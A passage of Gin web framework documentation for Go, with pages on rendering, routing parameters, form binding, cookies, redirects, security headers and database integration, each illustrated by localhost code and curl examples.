curl -X OPTIONS http://localhost:8080/someOptions
```

## See also

[Section titled “See also”](#see-also)

* [Parameters in path](/en/docs/routing/param-in-path/)
* [Grouping routes](/en/docs/routing/grouping-routes/)
* [Query string parameters](/en/docs/routing/querystring-param/)

----
url: https://gin-gonic.com/en/docs/rendering/rendering/
----

[Skip to content](#_top)

# XML/JSON/YAML/ProtoBuf rendering

Gin provides built-in support for rendering responses in multiple formats including JSON, XML, YAML, and Protocol Buffers. This makes it straightforward to build APIs that support content negotiation — serving data in whatever format the client requests.

**When to use each format:**

* **JSON** — The most common choice for REST APIs and browser-based clients. Use `c.JSON()` for standard output or `c.IndentedJSON()` for human-readable formatting during development.
* **XML** — Useful when integrating with legacy systems, SOAP services, or clients that expect XML (such as some enterprise applications).
* **YAML** — A good fit for configuration-oriented endpoints or tools that consume YAML natively (such as Kubernetes or CI/CD pipelines).
* **ProtoBuf** — Ideal for high-performance, low-latency communication between services. Protocol Buffers produce smaller payloads and faster serialization compared to text-based formats, but require a shared schema definition (`.proto` file).

All rendering methods accept an HTTP status code and a data value. Gin serializes the data and sets the appropriate `Content-Type` header automatically.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
  "github.com/gin-gonic/gin/testdata/protoexample"
)


func main() {
  router := gin.Default()


  // gin.H is a shortcut for map[string]interface{}
  router.GET("/someJSON", func(c *gin.Context) {
    c.JSON(http.StatusOK, gin.H{"message": "hey", "status": http.StatusOK})
  })


  router.GET("/moreJSON", func(c *gin.Context) {
    // You also can use a struct
    var msg struct {
      Name    string `json:"user"`
      Message string
      Number  int
    }
    msg.Name = "Lena"
    msg.Message = "hey"
    msg.Number = 123
    // Note that msg.Name becomes "user" in the JSON
    // Will output  :   {"user": "Lena", "Message": "hey", "Number": 123}
    c.JSON(http.StatusOK, msg)
  })


  router.GET("/someXML", func(c *gin.Context) {
    c.XML(http.StatusOK, gin.H{"message": "hey", "status": http.StatusOK})
  })


  router.GET("/someYAML", func(c *gin.Context) {
    c.YAML(http.StatusOK, gin.H{"message": "hey", "status": http.StatusOK})
  })


  router.GET("/someProtoBuf", func(c *gin.Context) {
    reps := []int64{int64(1), int64(2)}
    label := "test"
    // The specific definition of protobuf is written in the testdata/protoexample file.
    data := &protoexample.Test{
      Label: &label,
      Reps:  reps,
    }
    // Note that data becomes binary data in the response
    // Will output protoexample.Test protobuf serialized data
    c.ProtoBuf(http.StatusOK, data)
  })


  // Listen and serve on 0.0.0.0:8080
  router.Run(":8080")
}
```

## See also

[Section titled “See also”](#see-also)

* [PureJSON](/en/docs/rendering/pure-json/)
* [SecureJSON](/en/docs/rendering/secure-json/)
* [AsciiJSON](/en/docs/rendering/ascii-json/)
* [JSONP](/en/docs/rendering/jsonp/)

----
url: https://gin-gonic.com/en/docs/logging/define-format-for-the-log-of-routes/
----

[Skip to content](#_top)

# Define format for the log of routes

When Gin starts, it prints all registered routes in debug mode. The default format looks like this:

```
[GIN-debug] POST   /foo                      --> main.main.func1 (3 handlers)
[GIN-debug] GET    /bar                      --> main.main.func2 (3 handlers)
[GIN-debug] GET    /status                   --> main.main.func3 (3 handlers)
```

You can customize this format by assigning a function to `gin.DebugPrintRouteFunc`. This is useful if you want to log routes as JSON, key-value pairs, or in any other format your logging pipeline expects.

```
package main


import (
  "log"
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  gin.DebugPrintRouteFunc = func(httpMethod, absolutePath, handlerName string, nuHandlers int) {
    log.Printf("endpoint %v %v %v %v\n", httpMethod, absolutePath, handlerName, nuHandlers)
  }


  router.POST("/foo", func(c *gin.Context) {
    c.JSON(http.StatusOK, "foo")
  })


  router.GET("/bar", func(c *gin.Context) {
    c.JSON(http.StatusOK, "bar")
  })


  router.GET("/status", func(c *gin.Context) {
    c.JSON(http.StatusOK, "ok")
  })


  router.Run(":8080")
}
```

When the server starts, instead of the default `[GIN-debug]` lines, you will see:

```
endpoint POST /foo main.main.func2 3
endpoint GET /bar main.main.func3 3
endpoint GET /status main.main.func4 3
```

## See also

[Section titled “See also”](#see-also)

* [Custom log format](/en/docs/logging/custom-log-format/)
* [Skip logging](/en/docs/logging/skip-logging/)

----
url: https://gin-gonic.com/en/docs/routing/param-in-path/
----

[Skip to content](#_top)

# Parameters in path

Gin supports two types of path parameters that let you capture values directly from the URL:

* **`:name`** — matches a single path segment. For example, `/user/:name` matches `/user/john` but does **not** match `/user/` or `/user`.
* **`*action`** — matches everything after the prefix, including slashes. For example, `/user/:name/*action` matches `/user/john/send` and `/user/john/`. The captured value includes the leading `/`.

Use `c.Param("name")` to retrieve the value of a path parameter inside your handler.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  // This handler will match /user/john but will not match /user/ or /user
  router.GET("/user/:name", func(c *gin.Context) {
    name := c.Param("name")
    c.String(http.StatusOK, "Hello %s", name)
  })


  // However, this one will match /user/john/ and also /user/john/send
  // If no other routers match /user/john, it will redirect to /user/john/
  router.GET("/user/:name/*action", func(c *gin.Context) {
    name := c.Param("name")
    action := c.Param("action")
    message := name + " is " + action
    c.String(http.StatusOK, message)
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Single parameter -- matches :name
curl http://localhost:8080/user/john
# Output: Hello john


# Wildcard parameter -- matches :name and *action
curl http://localhost:8080/user/john/send
# Output: john is /send


# Trailing slash is captured by the wildcard
curl http://localhost:8080/user/john/
# Output: john is /
```

## See also

[Section titled “See also”](#see-also)

* [Query string parameters](/en/docs/routing/querystring-param/)
* [Query and post form](/en/docs/routing/query-and-post-form/)

----
url: https://gin-gonic.com/en/docs/binding/collection-format-for-arrays/
----

[Skip to content](#_top)

# Collection format for arrays

You can control how Gin splits list values for slice/array fields using the `collection_format` struct tag with form binding.

Supported formats (v1.11+):

* multi (default): repeated keys or comma-separated values
* csv: comma-separated values
* ssv: space-separated values
* tsv: tab-separated values
* pipes: pipe-separated values

Example:

```
package main


import (
  "net/http"
  "github.com/gin-gonic/gin"
)


type Filters struct {
  Tags      []string `form:"tags" collection_format:"csv"`     // /search?tags=go,web,api
  Labels    []string `form:"labels" collection_format:"multi"` // /search?labels=bug&labels=helpwanted
  IdsSSV    []int    `form:"ids_ssv" collection_format:"ssv"`  // /search?ids_ssv=1 2 3
  IdsTSV    []int    `form:"ids_tsv" collection_format:"tsv"`  // /search?ids_tsv=1\t2\t3
  Levels    []int    `form:"levels" collection_format:"pipes"` // /search?levels=1|2|3
}


func main() {
  r := gin.Default()
  r.GET("/search", func(c *gin.Context) {
    var f Filters
    if err := c.ShouldBind(&f); err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }
    c.JSON(http.StatusOK, f)
  })
  r.Run(":8080")
}
```

Defaults for collections (v1.11+):

* Use `default` in the `form` tag to set fallback values.
* For `multi` and `csv`, separate default values with semicolons: `default=1;2;3`.
* For `ssv`, `tsv`, and `pipes`, use the natural separator in the default.

See also: “Bind default values for form fields” example.

----
url: https://gin-gonic.com/en/docs/binding/bind-uri/
----

[Skip to content](#_top)

# Bind Uri

`ShouldBindUri` binds URI path parameters directly into a struct using `uri` struct tags. Combined with `binding` validation tags, this lets you validate path parameters (such as requiring a valid UUID) with a single call.

This is useful when your route contains structured data — like resource IDs or slugs — that you want to validate and type-check before using.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


type Person struct {
  ID   string `uri:"id" binding:"required,uuid"`
  Name string `uri:"name" binding:"required"`
}


func main() {
  route := gin.Default()


  route.GET("/:name/:id", func(c *gin.Context) {
    var person Person
    if err := c.ShouldBindUri(&person); err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }
    c.JSON(http.StatusOK, gin.H{"name": person.Name, "uuid": person.ID})
  })


  route.Run(":8088")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Valid UUID -- binding succeeds
curl http://localhost:8088/thinkerou/987fbc97-4bed-5078-9f07-9141ba07c9f3
# Output: {"name":"thinkerou","uuid":"987fbc97-4bed-5078-9f07-9141ba07c9f3"}


# Invalid UUID -- binding fails with validation error
curl http://localhost:8088/thinkerou/not-uuid
# Output: {"error":"Key: 'Person.ID' Error:Field validation for 'ID' failed on the 'uuid' tag"}
```

## See also

[Section titled “See also”](#see-also)

* [Parameters in path](/en/docs/routing/param-in-path/)
* [Binding and validation](/en/docs/binding/binding-and-validation/)

----
url: https://gin-gonic.com/en/docs/routing/query-and-post-form/
----

[Skip to content](#_top)

# Query and post form

When handling a `POST` request, you often need to read values from both the URL query string and the request body. Gin keeps these two sources separate, so you can access each independently:

* `c.Query("key")` / `c.DefaultQuery("key", "default")` — reads from the URL query string.
* `c.PostForm("key")` / `c.DefaultPostForm("key", "default")` — reads from the `application/x-www-form-urlencoded` or `multipart/form-data` request body.

This is common in REST APIs where the route identifies the resource (via query parameters like `id`) while the body carries the payload (like `name` and `message`).

```
package main


import (
  "fmt"
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.POST("/post", func(c *gin.Context) {
    id := c.Query("id")
    page := c.DefaultQuery("page", "0")
    name := c.PostForm("name")
    message := c.PostForm("message")


    fmt.Printf("id: %s; page: %s; name: %s; message: %s\n", id, page, name, message)
    c.String(http.StatusOK, "id: %s; page: %s; name: %s; message: %s", id, page, name, message)
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Query params in URL, form data in body
curl -X POST "http://localhost:8080/post?id=1234&page=1" \
  -d "name=manu&message=this_is_great"
# Output: id: 1234; page: 1; name: manu; message: this_is_great


# Missing page -- falls back to default value "0"
curl -X POST "http://localhost:8080/post?id=1234" \
  -d "name=manu&message=hello"
# Output: id: 1234; page: 0; name: manu; message: hello
```

## See also

[Section titled “See also”](#see-also)

* [Query string parameters](/en/docs/routing/querystring-param/)
* [Map as querystring or postform parameters](/en/docs/routing/map-as-querystring-or-postform/)
* [Multipart/urlencoded form](/en/docs/routing/multipart-urlencoded-form/)

----
url: https://gin-gonic.com/en/docs/binding/multipart-urlencoded-binding/
----

[Skip to content](#_top)

# Multipart/Urlencoded binding

`ShouldBind` automatically detects the `Content-Type` and binds `multipart/form-data` or `application/x-www-form-urlencoded` request bodies into a struct. Use the `form` struct tag to map form field names to struct fields, and `binding:"required"` to enforce mandatory fields.

This is commonly used for login forms, registration pages, or any HTML form submission.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


type LoginForm struct {
  User     string `form:"user" binding:"required"`
  Password string `form:"password" binding:"required"`
}


func main() {
  router := gin.Default()


  router.POST("/login", func(c *gin.Context) {
    var form LoginForm
    // ShouldBind automatically selects the right binding based on Content-Type
    if err := c.ShouldBind(&form); err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }


    if form.User == "user" && form.Password == "password" {
      c.JSON(http.StatusOK, gin.H{"status": "you are logged in"})
    } else {
      c.JSON(http.StatusUnauthorized, gin.H{"status": "unauthorized"})
    }
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Multipart form
curl -X POST http://localhost:8080/login \
  -F "user=user" -F "password=password"
# Output: {"status":"you are logged in"}


# URL-encoded form
curl -X POST http://localhost:8080/login \
  -d "user=user&password=password"
# Output: {"status":"you are logged in"}


# Wrong credentials
curl -X POST http://localhost:8080/login \
  -d "user=wrong&password=wrong"
# Output: {"status":"unauthorized"}


# Missing required field
curl -X POST http://localhost:8080/login \
  -d "user=user"
# Output: {"error":"Key: 'LoginForm.Password' Error:Field validation for 'Password' failed on the 'required' tag"}
```

## See also

[Section titled “See also”](#see-also)

* [Binding and validation](/en/docs/binding/binding-and-validation/)
* [Bind html checkboxes](/en/docs/binding/bind-html-checkbox/)

----
url: https://gin-gonic.com/en/docs/server-config/
----

[Skip to content](#_top)

# Server Configuration

Gin offers flexible server configuration options. Because `gin.Engine` implements the `http.Handler` interface, you can use it with Go’s standard `net/http.Server` to control timeouts, TLS, and other settings directly.

## Using a custom http.Server

[Section titled “Using a custom http.Server”](#using-a-custom-httpserver)

By default, `router.Run()` starts a basic HTTP server. For production use, create your own `http.Server` to set timeouts and other options:

```
func main() {
  router := gin.Default()
  router.GET("/", func(c *gin.Context) {
    c.String(200, "ok")
  })


  s := &http.Server{
    Addr:           ":8080",
    Handler:        router,
    ReadTimeout:    10 * time.Second,
    WriteTimeout:   10 * time.Second,
    MaxHeaderBytes: 1 << 20,
  }
  s.ListenAndServe()
}
```

This gives you full access to Go’s server configuration while keeping all of Gin’s routing and middleware capabilities.

## In this section

[Section titled “In this section”](#in-this-section)

* [**Custom HTTP configuration**](./custom-http-config/) – Fine-tune the underlying HTTP server
* [**Custom JSON codec**](./custom-json-codec/) – Use alternative JSON serialization libraries
* [**Let’s Encrypt**](./lets-encrypt/) – Automatic TLS certificates with Let’s Encrypt
* [**Running multiple services**](./multiple-service/) – Serve multiple Gin engines on different ports
* [**Graceful restart or stop**](./graceful-restart-or-stop/) – Shut down without dropping active connections
* [**HTTP/2 server push**](./http2-server-push/) – Push resources to the client proactively
* [**Cookie handling**](./cookie/) – Read and write HTTP cookies
* [**Trusted proxies**](./trusted-proxies/) – Configure which proxies Gin trusts for client IP resolution

----
url: https://gin-gonic.com/en/docs/server-config/cookie/
----

[Skip to content](#_top)

# Cookie

Gin provides helpers to set and read HTTP cookies on the response and request.

### `SetCookie` parameters

[Section titled “SetCookie parameters”](#setcookie-parameters)

The `c.SetCookie()` method signature is:

```
c.SetCookie(name, value string, maxAge int, path, domain string, secure, httpOnly bool)
```

| Parameter  | Description                                                                                                                                                   |
| ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `name`     | The cookie name (key).                                                                                                                                        |
| `value`    | The cookie value.                                                                                                                                             |
| `maxAge`   | Time-to-live in **seconds**. Set to `-1` to delete the cookie, or `0` to make it a session cookie (deleted when the browser closes).                          |
| `path`     | The URL path the cookie is valid for. Use `"/"` to make it available site-wide.                                                                               |
| `domain`   | The domain the cookie is scoped to (e.g., `"example.com"`). Use `"localhost"` during development.                                                             |
| `secure`   | When `true`, the cookie is only sent over **HTTPS** connections. **Set this to `true` in production.**                                                        |
| `httpOnly` | When `true`, the cookie is inaccessible to client-side JavaScript (`document.cookie`), which helps prevent XSS attacks. **Set this to `true` in production.** |

### Set and get a cookie

[Section titled “Set and get a cookie”](#set-and-get-a-cookie)

```
import (
  "fmt"


  "github.com/gin-gonic/gin"
)


func main() {


  router := gin.Default()


  router.GET("/cookie", func(c *gin.Context) {


    cookie, err := c.Cookie("gin_cookie")


    if err != nil {
      cookie = "NotSet"
      c.SetCookie("gin_cookie", "test", 3600, "/", "localhost", false, true)
    }


    fmt.Printf("Cookie value: %s \n", cookie)
  })


  router.Run()
}
```

### Try it

[Section titled “Try it”](#try-it)

Terminal window

```
# First request -- no cookie sent, server sets one
curl -v http://localhost:8080/cookie
# Look for "Set-Cookie: gin_cookie=test" in the response headers


# Second request -- send the cookie back
curl -v --cookie "gin_cookie=test" http://localhost:8080/cookie
# Server logs: Cookie value: test
```

### Delete a cookie

[Section titled “Delete a cookie”](#delete-a-cookie)

Delete a cookie by setting max age to `-1`.

```
c.SetCookie("gin_cookie", "test", -1, "/", "localhost", false, true)
```

### Set cookie via http.Cookie (v1.11+)

[Section titled “Set cookie via http.Cookie (v1.11+)”](#set-cookie-via-httpcookie-v111)

Gin also supports setting cookies using an `*http.Cookie`, giving access to fields like `Expires`, `MaxAge`, `SameSite`, and `Partitioned`.

```
import (
  "net/http"
  "time"
  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()
  r.GET("/set-cookie", func(c *gin.Context) {
    c.SetCookieData(&http.Cookie{
      Name:   "session_id",
      Value:  "abc123",
      Path:   "/",
      Domain:   "localhost",
      Expires:  time.Now().Add(24 * time.Hour),
      MaxAge:   86400,
      Secure:   true,
      HttpOnly: true,
      SameSite: http.SameSiteLaxMode,
      // Partitioned: true, // Go 1.22+
    })
    c.String(http.StatusOK, "ok")
  })
  r.Run(":8080")
}
```

## See also

[Section titled “See also”](#see-also)

* [Security headers](/en/docs/middleware/security-headers/)

----
url: https://gin-gonic.com/en/docs/routing/
----

[Skip to content](#_top)

# Routing

Gin provides a powerful routing system built on [httprouter](https://github.com/julienschmidt/httprouter) for high-performance URL matching. Under the hood, httprouter uses a [radix tree](https://en.wikipedia.org/wiki/Radix_tree) (also called a compressed trie) to store and look up routes, which means route matching is extremely fast and requires zero memory allocations per lookup. This makes Gin one of the fastest Go web frameworks available.

Routes are registered by calling an HTTP method on the engine (or a route group) and providing a URL pattern along with one or more handler functions:

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.GET("/hello", func(c *gin.Context) {
    c.String(http.StatusOK, "Hello, World!")
  })


  router.POST("/users", func(c *gin.Context) {
    name := c.PostForm("name")
    c.JSON(http.StatusCreated, gin.H{"user": name})
  })


  router.Run(":8080")
}
```

## In this section

[Section titled “In this section”](#in-this-section)

The pages below cover each routing topic in detail:

* [**Using HTTP method**](./http-method/) – Register routes for GET, POST, PUT, DELETE, PATCH, HEAD, and OPTIONS.
* [**Parameters in path**](./param-in-path/) – Capture dynamic segments from URL paths (e.g. `/user/:name`).
* [**Querystring parameters**](./querystring-param/) – Read query string values from the request URL.
* [**Query and post form**](./query-and-post-form/) – Access both query string and POST form data in the same handler.
* [**Map as querystring or postform**](./map-as-querystring-or-postform/) – Bind map parameters from query strings or POST forms.
* [**Multipart/urlencoded form**](./multipart-urlencoded-form/) – Parse `multipart/form-data` and `application/x-www-form-urlencoded` bodies.
* [**Upload files**](./upload-file/) – Handle single and multiple file uploads.
* [**Grouping routes**](./grouping-routes/) – Organize routes under common prefixes with shared middleware.
* [**Redirects**](./redirects/) – Perform HTTP and router-level redirects.

----
url: https://gin-gonic.com/en/docs/routing/redirects/
----

[Skip to content](#_top)

# Redirects

Gin supports both HTTP redirects (sending the client to a different URL) and router redirects (internally forwarding a request to a different handler without a round-trip to the client).

## HTTP redirects

[Section titled “HTTP redirects”](#http-redirects)

Use `c.Redirect` with an appropriate HTTP status code to redirect the client:

* **301 (`http.StatusMovedPermanently`)** — the resource has permanently moved. Browsers and search engines update their caches.
* **302 (`http.StatusFound`)** — temporary redirect. The browser follows but does not cache the new URL.
* **307 (`http.StatusTemporaryRedirect`)** — like 302, but the browser must preserve the original HTTP method (useful for POST redirects).
* **308 (`http.StatusPermanentRedirect`)** — like 301, but the browser must preserve the original HTTP method.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  // External redirect (GET)
  router.GET("/old", func(c *gin.Context) {
    c.Redirect(http.StatusMovedPermanently, "https://www.google.com/")
  })


  // Redirect from POST -- use 302 or 307 to preserve behavior
  router.POST("/submit", func(c *gin.Context) {
    c.Redirect(http.StatusFound, "/result")
  })


  // Internal router redirect (no HTTP round-trip)
  router.GET("/test", func(c *gin.Context) {
    c.Request.URL.Path = "/final"
    router.HandleContext(c)
  })


  router.GET("/final", func(c *gin.Context) {
    c.JSON(http.StatusOK, gin.H{"hello": "world"})
  })


  router.GET("/result", func(c *gin.Context) {
    c.String(http.StatusOK, "Redirected here!")
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# GET redirect -- follows to Google (use -L to follow, -I to see headers only)
curl -I http://localhost:8080/old
# Output includes: HTTP/1.1 301 Moved Permanently
# Output includes: Location: https://www.google.com/


# POST redirect -- returns 302 with new location
curl -X POST -I http://localhost:8080/submit
# Output includes: HTTP/1.1 302 Found
# Output includes: Location: /result


# Internal redirect -- handled server-side, client sees final response
curl http://localhost:8080/test
# Output: {"hello":"world"}
```

## See also

[Section titled “See also”](#see-also)

* [Grouping routes](/en/docs/routing/grouping-routes/)

----
url: https://gin-gonic.com/en/docs/middleware/security-headers/
----

[Skip to content](#_top)

# Security Headers

It’s important to use security headers to protect your web application from common security vulnerabilities. This example shows you how to add security headers to your Gin application and also how to avoid Host Header Injection related attacks (SSRF, Open Redirection).

### What each header protects against

[Section titled “What each header protects against”](#what-each-header-protects-against)

| Header                            | Purpose                                                                                                                                                                                                                                                                                |
| --------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `X-Content-Type-Options: nosniff` | Prevents MIME-type sniffing attacks. Without this header, browsers may interpret files as a different content type than declared, allowing attackers to execute malicious scripts disguised as harmless file types (e.g., uploading a `.jpg` that is actually JavaScript).             |
| `X-Frame-Options: DENY`           | Prevents clickjacking by disabling the page from being loaded inside an `<iframe>`. Attackers use clickjacking to overlay invisible frames on legitimate pages, tricking users into clicking hidden buttons (e.g., “Delete my account”).                                               |
| `Content-Security-Policy`         | Controls which resources (scripts, styles, images, fonts, etc.) the browser is allowed to load and from which origins. This is one of the most effective defenses against Cross-Site Scripting (XSS) because it can block inline scripts and restrict script sources.                  |
| `X-XSS-Protection: 1; mode=block` | Activates the browser’s built-in XSS filter. This header is largely deprecated in modern browsers (Chrome removed its XSS Auditor in 2019), but it still provides defense-in-depth for users on older browsers.                                                                        |
| `Strict-Transport-Security`       | Forces the browser to use HTTPS for all future requests to the domain for the specified `max-age` duration. This prevents protocol downgrade attacks and cookie hijacking over insecure HTTP connections. The `includeSubDomains` directive extends this protection to all subdomains. |
| `Referrer-Policy: strict-origin`  | Controls how much referrer information is sent with outgoing requests. Without this header, the full URL (including query parameters that may contain tokens or sensitive data) can leak to third-party sites. `strict-origin` sends only the origin (domain) and only over HTTPS.     |
| `Permissions-Policy`              | Restricts which browser features (geolocation, camera, microphone, etc.) can be used by the page. This limits the damage if an attacker manages to inject scripts, since those scripts cannot access sensitive device APIs.                                                            |

### Example

[Section titled “Example”](#example)

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  expectedHost := "localhost:8080"


  // Setup Security Headers
  r.Use(func(c *gin.Context) {
    if c.Request.Host != expectedHost {
      c.AbortWithStatusJSON(http.StatusBadRequest, gin.H{"error": "Invalid host header"})
      return
    }
    c.Header("X-Frame-Options", "DENY")
    c.Header("Content-Security-Policy", "default-src 'self'; connect-src *; font-src *; script-src-elem * 'unsafe-inline'; img-src * data:; style-src * 'unsafe-inline';")
    c.Header("X-XSS-Protection", "1; mode=block")
    c.Header("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
    c.Header("Referrer-Policy", "strict-origin")
    c.Header("X-Content-Type-Options", "nosniff")
    c.Header("Permissions-Policy", "geolocation=(),midi=(),sync-xhr=(),microphone=(),camera=(),magnetometer=(),gyroscope=(),fullscreen=(self),payment=()")
    c.Next()
  })


  r.GET("/ping", func(c *gin.Context) {
    c.JSON(200, gin.H{
      "message": "pong",
    })
  })


  r.Run() // listen and serve on 0.0.0.0:8080
}
```

You can test it via `curl`:

Terminal window

```
// Check Headers


curl localhost:8080/ping -I


HTTP/1.1 404 Not Found
Content-Security-Policy: default-src 'self'; connect-src *; font-src *; script-src-elem * 'unsafe-inline'; img-src * data:; style-src * 'unsafe-inline';
Content-Type: text/plain
Permissions-Policy: geolocation=(),midi=(),sync-xhr=(),microphone=(),camera=(),magnetometer=(),gyroscope=(),fullscreen=(self),payment=()
Referrer-Policy: strict-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Date: Sat, 30 Mar 2024 08:20:44 GMT
Content-Length: 18


// Check Host Header Injection


curl localhost:8080/ping -I -H "Host:neti.ee"


HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Date: Sat, 30 Mar 2024 08:21:09 GMT
Content-Length: 31
```

Optionally, use [gin helmet](https://github.com/danielkov/gin-helmet) `go get github.com/danielkov/gin-helmet/ginhelmet`

```
package main


import (
  "github.com/gin-gonic/gin"
  "github.com/danielkov/gin-helmet/ginhelmet"
)


func main() {
  r := gin.Default()


  // Use default security headers
  r.Use(ginhelmet.Default())


  r.GET("/", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "Hello, World!"})
  })


  r.Run()
}
```

----
url: https://gin-gonic.com/en/docs/server-config/database/
----

[Skip to content](#_top)

# Database Integration

Most real-world Gin applications need a database. This guide covers how to structure database access cleanly, configure connection pooling, and apply patterns that keep your handlers testable and your connections healthy.

## Using database/sql with Gin

[Section titled “Using database/sql with Gin”](#using-databasesql-with-gin)

The Go standard library `database/sql` package works well with Gin. Open the connection once in `main` and pass it to your handlers.

```
package main


import (
  "database/sql"
  "log"
  "net/http"


  "github.com/gin-gonic/gin"
  _ "github.com/lib/pq"
)


func main() {
  db, err := sql.Open("postgres", "host=localhost port=5432 user=app dbname=mydb sslmode=disable")
  if err != nil {
    log.Fatal(err)
  }
  defer db.Close()


  // Verify the connection is alive
  if err := db.Ping(); err != nil {
    log.Fatal(err)
  }


  r := gin.Default()


  r.GET("/users/:id", func(c *gin.Context) {
    var name string
    err := db.QueryRowContext(c.Request.Context(), "SELECT name FROM users WHERE id = $1", c.Param("id")).Scan(&name)
    if err == sql.ErrNoRows {
      c.JSON(http.StatusNotFound, gin.H{"error": "user not found"})
      return
    }
    if err != nil {
      c.JSON(http.StatusInternalServerError, gin.H{"error": "database error"})
      return
    }
    c.JSON(http.StatusOK, gin.H{"name": name})
  })


  r.Run(":8080")
}
```

Always pass `c.Request.Context()` to database calls so that queries are cancelled automatically when the client disconnects.

## Connection pooling configuration

[Section titled “Connection pooling configuration”](#connection-pooling-configuration)

The `database/sql` package maintains a pool of connections internally. For production workloads, configure the pool to match your database and traffic profile.

```
db, err := sql.Open("postgres", dsn)
if err != nil {
  log.Fatal(err)
}


// Maximum number of open connections to the database.
db.SetMaxOpenConns(25)


// Maximum number of idle connections retained in the pool.
db.SetMaxIdleConns(10)


// Maximum amount of time a connection may be reused.
db.SetConnMaxLifetime(5 * time.Minute)


// Maximum amount of time a connection may sit idle before being closed.
db.SetConnMaxIdleTime(1 * time.Minute)
```

* `SetMaxOpenConns` prevents your application from overwhelming the database server under high load.
* `SetMaxIdleConns` keeps warm connections ready so new requests avoid the cost of dialling.
* `SetConnMaxLifetime` rotates connections so your app picks up DNS changes and does not hold stale server-side sessions.
* `SetConnMaxIdleTime` closes connections that have been idle too long, freeing resources on both sides.

## Dependency injection patterns

[Section titled “Dependency injection patterns”](#dependency-injection-patterns)

### Closure

[Section titled “Closure”](#closure)

The simplest approach is to close over the `*sql.DB` in your handler functions.

```
package main


import (
  "database/sql"
  "net/http"


  "github.com/gin-gonic/gin"
)


func listUsers(db *sql.DB) gin.HandlerFunc {
  return func(c *gin.Context) {
    rows, err := db.QueryContext(c.Request.Context(), "SELECT id, name FROM users")
    if err != nil {
      c.JSON(http.StatusInternalServerError, gin.H{"error": "query failed"})
      return
    }
    defer rows.Close()


    type User struct {
      ID   int    `json:"id"`
      Name string `json:"name"`
    }
    var users []User
    for rows.Next() {
      var u User
      if err := rows.Scan(&u.ID, &u.Name); err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "scan failed"})
        return
      }
      users = append(users, u)
    }
    c.JSON(http.StatusOK, users)
  }
}


func main() {
  db, _ := sql.Open("postgres", "your-dsn")
  defer db.Close()


  r := gin.Default()
  r.GET("/users", listUsers(db))
  r.Run(":8080")
}
```

### Middleware

[Section titled “Middleware”](#middleware)

Store the connection in the Gin context so any handler can retrieve it.

```
func DatabaseMiddleware(db *sql.DB) gin.HandlerFunc {
  return func(c *gin.Context) {
    c.Set("db", db)
    c.Next()
  }
}


func main() {
  db, _ := sql.Open("postgres", "your-dsn")
  defer db.Close()


  r := gin.Default()
  r.Use(DatabaseMiddleware(db))


  r.GET("/users/:id", func(c *gin.Context) {
    db := c.MustGet("db").(*sql.DB)
    // use db...
    _ = db
  })


  r.Run(":8080")
}
```

### Struct with methods

[Section titled “Struct with methods”](#struct-with-methods)

Group related handlers into a struct that holds the database handle. This approach scales well when you have many handlers that share the same dependencies.

```
type UserHandler struct {
  DB *sql.DB
}


func (h *UserHandler) Get(c *gin.Context) {
  var name string
  err := h.DB.QueryRowContext(c.Request.Context(), "SELECT name FROM users WHERE id = $1", c.Param("id")).Scan(&name)
  if err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"error": "query failed"})
    return
  }
  c.JSON(http.StatusOK, gin.H{"name": name})
}


func main() {
  db, _ := sql.Open("postgres", "your-dsn")
  defer db.Close()


  uh := &UserHandler{DB: db}


  r := gin.Default()
  r.GET("/users/:id", uh.Get)
  r.Run(":8080")
}
```

The closure and struct patterns are generally preferred over middleware because they provide compile-time type safety and avoid type assertions at runtime.

## Using GORM with Gin

[Section titled “Using GORM with Gin”](#using-gorm-with-gin)

[GORM](https://gorm.io) is a popular Go ORM. It wraps `database/sql` and adds migrations, associations, and a query builder.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
  "gorm.io/driver/postgres"
  "gorm.io/gorm"
)


type Product struct {
  gorm.Model
  Name  string  `json:"name"`
  Price float64 `json:"price"`
}


func main() {
  dsn := "host=localhost user=app dbname=mydb port=5432 sslmode=disable"
  db, err := gorm.Open(postgres.Open(dsn), &gorm.Config{})
  if err != nil {
    panic("failed to connect to database")
  }


  // Auto-migrate the schema
  db.AutoMigrate(&Product{})


  r := gin.Default()


  r.POST("/products", func(c *gin.Context) {
    var p Product
    if err := c.ShouldBindJSON(&p); err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }
    if err := db.Create(&p).Error; err != nil {
      c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to create product"})
      return
    }
